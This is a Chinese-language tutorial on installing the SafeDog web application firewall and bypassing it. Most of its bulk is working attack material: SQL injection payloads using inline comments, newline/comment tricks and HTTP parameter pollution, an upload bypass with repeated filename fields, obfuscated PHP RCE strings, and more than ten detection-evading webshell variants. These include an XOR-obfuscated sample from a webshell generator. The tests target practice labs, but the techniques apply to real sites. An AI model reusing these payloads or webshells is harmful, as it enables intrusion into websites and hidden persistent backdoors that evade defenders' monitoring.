安全狗waf安装
1、先将phpstudy 以管理员身份运行,将运行模式修改为 “系统服务”,点击“应用”。
2、下载安全狗,安全狗-领先云安全服务与解决方案提供商|云原生安全|服务器安全|网站安全|态势感知
3、安装安全狗,以管理员身份运行
需要登录使用:
信息收集的WAF绕过
主要方法:
- 更改请求方式
- 模拟用户
- 延时
- 爬虫引擎
- 代理池
- ...
相关案例
1、安全狗默认配置(未开启CC防护)
通过7kscan工具进行目录扫描,全部状态码为200。
在防护日志中显示“不允许的HTTP请求”,拦截原因:进行了不允许的HTTP请求(HEAD请求)。
因为默认的目录扫描的HTTP请求方法是HEAD(响应快),而安全狗拦截此HEAD请求。
绕过方式为修改HTTP请求方法为GET。
2、安全狗开启CC防护
此时使用7kscan工具进行目录扫描,全部状态码为200。
使用相同IP的主机浏览器访问,会出现“您的请求过于频繁,已被网站管理员设置拦截!”,因为扫描过快,出发了CC防护机制。
安全狗防护日志处会产生“CC攻击”日志。
此时的绕过方式是延迟、爬虫引擎、代理池。
延迟方式:
- 勾选“延迟扫描”
- 或加大访问间隔
爬虫引擎:
- 将User-Agent头替换为爬虫引擎使用的User-Agent,比如百度的爬虫引擎UA
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
漏洞利用的WAF绕过
sql注入绕过
安全和客户体验是需要平衡的,特别针对于WAF而言。如果用了WAF之后,网页动不动就被拦截,比如我是用户,用户名是and,然后我就被拦截了;或者我不小心输入了一个'引号就出问题,用户体验不好。
WAF一般都是通用的,并不是单独定制的,也就是说在拦截上会比较谨慎,所以WAF的拦截规则对应的正则一般是搭配式的,比如 and 1=1会被拦截,但是单独的and和单独的1=1不会被拦截。
大小写绕过(很老的WAF有用)
替换绕过(很老的WAF有用)
内联注释绕过
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。
/!/如果被拦截,可以尝试添加版本号。
比如:/!50001/表示数据库版本>=5.00.01时中间的语句才能被执行。
注意:版本号必须是5位数字,具体使用哪个版本号可以通过burpSuite的Intruder的模块进行爆破
正常注入会被安全狗拦截:
使用内联注释进行绕过:
特殊字符绕过
换行符%0a
注释/**/中的内容不会被安全狗拦截。
结合特殊字符 %0a(换行符)进行绕过。
比如:
http://127.0.0.1/sqli-labs/Less-1/
?id=1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/
参数值1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/ 对于安全狗来说,/**/中的内容不会拦截,所以可以原样到达web服务器apache。
因为%0a是换行,%23是#号,所以1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/会被认为是
1' *-- qqq /**
and 1=2 union select 1,2,3 *#*/*
而-- qqq /*和#*/均会被注释掉,所以最终拼接如sql语句中的为
1' and 1=2 union select 1,2,3
反撇号**````**
有些函数加上反撇号可以绕过
1' and `sleep`(5) -- qqq
容器特性绕过
iis中的%
对于s%e%l%ect会被iis认为是select
apache中的HPP
HTTP参数污染(HPP)
对于传参id=1&id=2,最终接收的参数为id=2
比如:
http://127.0.0.1/sqli-labs/Less-1/
?id=1'/*&id=2' and 1=2 union select 1,2,3 %23*/
首先安全狗不会过滤/**/中的内容,当参数发送到apache后,会将第二个参数2' and 1=2 union select 1,2,3拼接到sql语句中进行执行。
注意不要使用#,#可能会被拦截,建议替换成%23,或者使用-- 。
WAF性能因素绕过
检测长度绕过
WAF对检测数据包的包长或检测数据流长度,有一个限制。
- 比如在真正的参数前面添加大量的%00进行填充。
- 安全狗默认没有开启POST中的and or拦截,开启测试。
少量就会有拦截:
文件上传绕过
多filename绕过
在filename="webshell.php";之前多加一些正常的filename,比如filename="webshell.jpg";,
Content-Disposition: form-data; name="uploaded"; filename="webshell.jpg";filename="webshell.jpg";....此处省略上百个...filename="webshell.php";Content-Type: image/jpeg
如下图:
RCE绕过
如果waf拦截了phpinfo();等类型的一些敏感字符串等,比如安全狗自定义检测规则(自己添加):
其他场景类似。
拿pikachu测试,先将安全狗的文件防护关闭,否则会访问不到rce的漏洞文件。
变量拼接
txt=$a="p";$b="hpinfo";$c=$a.$b;$c();
txt=$a="p";$b="hpinfo";$c=$a.$b;$c();&submit=%E6%8F%90%E4%BA%A4
编码加密传输
txt=assert(base64_decode('cGhwaW5mbygpOw=='));
如果base64_decode函数被过滤,可以尝试别的编码函数,比如转换为十六进制:
txt=eval(pack("H*",'706870696E666F28293B'));
字符替换
txt=assert(str_replace('x','','phxpinxfo()'));
如果此时assert也被过滤了呢?可以使用别的函数,也可以结合变量拼接:
txt=$a='ass';$b='ert';$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));
传参方式
http://192.168.10.155/pikachu/vul/rce/rce_eval.php?x=ert
txt=$a='ass';$b=$_GET['x'];$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));
漏洞利用的WAF绕过
webshell代码层绕过
- 方法:变量覆盖、加密混淆、异或生成
环境:安全狗v4.0,防护等级中级
webshell.php文件
<?php @eval($_REQUEST['a']);?>
访问直接被拦截
安全狗扫描也会发现网页木马风险。
直接使用一句话木马原型会被拦截。
需要进行绕过bypass。
通过删除一句话木马不同的字符,测试安全狗过滤的内容,发现当出现eval($_REQUEST[])时会被拦截过滤。
bypass思路:
- 替换eval()
- 替换$_REQUEST[]
- 让eval()和$_REQUEST[]不同时出现
end()函数绕过
end()函数:输出数组中最后一个元素的值。
$_REQUEST是一个包含前端传过来的参数数组。
<?php eval(end($_REQUEST));?>
常量定义绕过
define() 函数定义一个常量。
<?php define("b","$_REQUEST['a']");eval(b);?>
字符串拼接+双美元符号绕过
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST['a']); // $funcName($_REQUEST[a]) ==> assert($_REQUEST[a])?>
注意此时,不能拼接eval,因为eval()不是函数!否则会出现报错~ Call to undefined function eval()
函数定义强行分割绕过
<?php
function abc($b){
return $b
};
$a = abc($_REQUEST['a']);
eval($a);?>
经测试,此方法被过滤,提示“内藏自定义函数”
类定义强行分割绕过
<?php
class User{
public $name='';
function __destruct(){
// 在对象被销毁时会被执行
eval("$this->name");
}
};
$user = new User;
$user->name = $_REQUEST['a'];?>
cookie传参绕过
<?php
$cookie = $_COOKIE; // 获取cookie的数组
foreach($cookie as $key => $value){
if($key=='assert'){
$key($_REQUEST['a']);
}
}?>
需要提前在本地浏览器存入key为assert的cookie。
读取预定义函数绕过
<?php
$a = get_defined_functions();
$a['internal'][841]($_REQUEST['a']);?>
原理分析:get_defined_functions()可以获取所有定义的函数,通过$a['internal'][841]可以拿到assert。
<?php
$a = get_defined_functions();
var_dump($a); // $a为一个二维数组,其中‘internal’对应了所有php预定义的函数名?>
自搭建数据库读取代码绕过
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['muma']);?>
如果不行,可以添加换行~
<?php
eval(
mysqli_fetch_assoc(
mysqli_query(
mysqli_connect('127.0.0.1','root','root','test'),
'select * from info'
)
)['muma']
);?>
编码加密传输绕过
webshell.php文件:
<?
// @eval(base64_decode(end($_REQUEST)));$a="base64_";$b="decode";$c=$a.$b;
@eval($c(end($_REQUEST)));
?>
传递的值使用base64加密,在webshell.php处进行解密。
- 可以绕过waf对某些值的拦截,比如phpinfo()。
使用蚁剑自带编码加密绕过(注意蚁剑发送的数据包自带解码,所以上传的webshell不需要base64_decode)
加密混淆
php加密网站
- 会员注册|php源码加密|www.PhpJiaMi.com
将webshell进行加密,再上传至目标主机。
加密过后的内容:
连接加密过后的webshell时和连接源文件的方式一致。
异或生成
github地址:
- https://github.com/emh1tg/webshell-venom
- https://github.com/search?q=webshell-venom&type=repositories
目前网上能下载到的版本是3.0版,最新版4.x需要加入作者“知识星球”获取:webshell-venom 3.3 :利用随机异或免杀任意php文件 -
利用脚本生成的php免杀webshell(每次生成都不同)
<?php class FHNK{ function __destruct(){$nby='J'^"\x2b";$uzj='?'^"\x4c";$yfh='>'^"\x4d";$xne='B'^"\x27";$jbp='R'^"\x20";$ufj='/'^"\x5b";$INLG=$nby.$uzj.$yfh.$xne.$jbp.$ufj;return @$INLG($this->TM);}}$fhnk=new FHNK();
@$fhnk->TM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>
使用该webshell: